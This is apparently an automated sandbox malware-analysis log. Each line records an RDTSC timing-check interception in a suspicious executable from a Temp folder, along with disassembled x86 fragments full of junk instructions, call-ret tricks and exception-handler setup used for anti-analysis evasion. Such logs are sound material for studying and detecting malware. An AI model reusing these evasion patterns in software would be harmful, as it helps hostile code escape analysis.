Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9031E0 second address: 903220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEE851EFD86h 0x0000000a popad 0x0000000b jmp 00007FEE851EFD98h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEE851EFD99h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 904570 second address: 904591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FD5h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90B913 second address: 90B918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90A8FE second address: 90A91E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEE84E88FD8h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90A91E second address: 90A922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90A922 second address: 90A98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FEE84E88FC8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov dword ptr [ebp+1248E95Bh], ebx 0x0000002a push dword ptr fs:[00000000h] 0x00000031 mov dword ptr [ebp+122D1B8Ah], edi 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push ebx 0x0000003f mov edi, dword ptr [ebp+122D28C0h] 0x00000045 pop edi 0x00000046 mov eax, dword ptr [ebp+122D0D75h] 0x0000004c mov dword ptr [ebp+1245B9B6h], ebx 0x00000052 push FFFFFFFFh 0x00000054 clc 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FEE84E88FCAh 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90FBC6 second address: 90FBD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FEE851EFD8Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 910B1D second address: 910B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEE84E88FC6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90DB1B second address: 90DB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90FD75 second address: 90FD7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90EC60 second address: 90ED1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FEE851EFD88h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D19F3h], eax 0x0000002d jnp 00007FEE851EFD89h 0x00000033 push dword ptr fs:[00000000h] 0x0000003a jbe 00007FEE851EFD9Bh 0x00000040 jmp 00007FEE851EFD95h 0x00000045 mov dword ptr fs:[00000000h], esp 0x0000004c movsx ebx, dx 0x0000004f mov eax, dword ptr [ebp+122D16BDh] 0x00000055 sub bx, 896Bh 0x0000005a mov ebx, dword ptr [ebp+122D29C1h] 0x00000060 push FFFFFFFFh 0x00000062 push 00000000h 0x00000064 push ebx 0x00000065 call 00007FEE851EFD88h 0x0000006a pop ebx 0x0000006b mov dword ptr [esp+04h], ebx 0x0000006f add dword ptr [esp+04h], 00000016h 0x00000077 inc ebx 0x00000078 push ebx 0x00000079 ret 0x0000007a pop ebx 0x0000007b ret 0x0000007c mov edi, dword ptr [ebp+12463175h] 0x00000082 nop 0x00000083 push eax 0x00000084 push edx 0x00000085 jmp 00007FEE851EFD97h 0x0000008a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90ED1E second address: 90ED25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90FD7A second address: 90FDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE851EFD8Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FEE851EFD91h 0x00000012 nop 0x00000013 mov edi, dword ptr [ebp+122D2A55h] 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 mov bh, 1Ch 0x00000029 mov eax, dword ptr [ebp+122D10C5h] 0x0000002f jmp 00007FEE851EFD97h 0x00000034 push FFFFFFFFh 0x00000036 sbb ebx, 744DD2E3h 0x0000003c nop 0x0000003d pushad 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 popad 0x00000044 jnc 00007FEE851EFD8Ch 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90ED25 second address: 90ED32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90ED32 second address: 90ED3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 911AA3 second address: 911AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 911AA8 second address: 911AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEE851EFD99h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 912885 second address: 9128AB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 movzx edi, cx 0x0000000b push 00000000h 0x0000000d pushad 0x0000000e mov al, 0Dh 0x00000010 mov dh, 29h 0x00000012 popad 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D2D3Ah], edi 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jc 00007FEE84E88FCCh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9128AB second address: 9128AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 91371E second address: 913739 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEE84E88FCDh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 914719 second address: 91471E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 915834 second address: 915838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 915838 second address: 9158A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a xor ebx, 4AB97091h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FEE851EFD88h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c mov ebx, 34B53C63h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007FEE851EFD88h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d add dword ptr [ebp+122D288Eh], eax 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 je 00007FEE851EFD86h 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9158A3 second address: 9158AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9129EC second address: 9129F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9129F0 second address: 9129FA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 91392D second address: 913932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 911CB6 second address: 911CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 911CC4 second address: 911CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 918820 second address: 91882A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 916A91 second address: 916B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007FEE851EFD88h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push ebx 0x00000012 jns 00007FEE851EFD88h 0x00000018 pop edi 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 and ebx, dword ptr [ebp+122D2A3Dh] 0x0000002d mov ebx, dword ptr [ebp+122D2F73h] 0x00000033 mov eax, dword ptr [ebp+122D171Dh] 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007FEE851EFD88h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 movzx edi, si 0x00000056 push FFFFFFFFh 0x00000058 jmp 00007FEE851EFD99h 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 jmp 00007FEE851EFD94h 0x00000066 pushad 0x00000067 popad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 916B29 second address: 916B33 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEE84E88FCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 920CFF second address: 920D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 920D03 second address: 920D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 je 00007FEE84E88FC6h 0x0000000d pop ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jnp 00007FEE84E88FC6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 920D24 second address: 920D4D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEE851EFD86h 0x00000008 jmp 00007FEE851EFD96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 js 00007FEE851EFD86h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C1399 second address: 8C13A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FEE84E88FC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C13A4 second address: 8C13B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C13B3 second address: 8C13B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C13B7 second address: 8C13D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEE851EFD8Eh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C13D7 second address: 8C13DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C13DF second address: 8C13E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8C13E3 second address: 8C13EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 920487 second address: 9204BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007FEE851EFD92h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEE851EFD97h 0x00000012 jng 00007FEE851EFD86h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9204BD second address: 9204C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 920613 second address: 920619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9189FC second address: 918A13 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FEE84E88FCBh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 918A13 second address: 918A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 918A17 second address: 918AD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop ebx 0x0000000d popad 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1843h], edi 0x00000015 or ebx, dword ptr [ebp+122D1BFEh] 0x0000001b push dword ptr fs:[00000000h] 0x00000022 jmp 00007FEE84E88FCDh 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FEE84E88FC8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov eax, dword ptr [ebp+122D1701h] 0x0000004e push FFFFFFFFh 0x00000050 jmp 00007FEE84E88FD0h 0x00000055 nop 0x00000056 jg 00007FEE84E88FD8h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jl 00007FEE84E88FDDh 0x00000065 jmp 00007FEE84E88FD7h 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 92D663 second address: 92D668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 92DBC6 second address: 92DBD7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007FEE84E88FC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 92DBD7 second address: 92DBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEE851EFD86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 92DBE2 second address: 92DBEE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 92DE7C second address: 92DE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 92DE80 second address: 92DE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 92DE86 second address: 92DE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8BDEFC second address: 8BDF2A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEE84E88FCEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jmp 00007FEE84E88FD0h 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8BDF2A second address: 8BDF32 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8BDF32 second address: 8BDF39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8BDF08 second address: 8BDF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jmp 00007FEE851EFD90h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 932ABA second address: 932ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEE84E88FD0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FEE84E88FCBh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 932C3D second address: 932C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 932C41 second address: 932C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 932C45 second address: 932C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FEE851EFD8Fh 0x0000000e jns 00007FEE851EFD97h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEE851EFD95h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9334BB second address: 9334E3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEE84E88FD2h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEE84E88FCCh 0x0000000f jo 00007FEE84E88FC6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93392E second address: 93393A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9352D0 second address: 9352D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9352D4 second address: 9352F2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEE851EFD86h 0x00000008 jns 00007FEE851EFD86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007FEE851EFD92h 0x00000016 jp 00007FEE851EFD86h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9352F2 second address: 9352F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9352F6 second address: 9352FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9352FB second address: 93533D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FD7h 0x00000009 pop eax 0x0000000a jo 00007FEE84E88FC8h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 jmp 00007FEE84E88FD5h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 93533D second address: 935347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
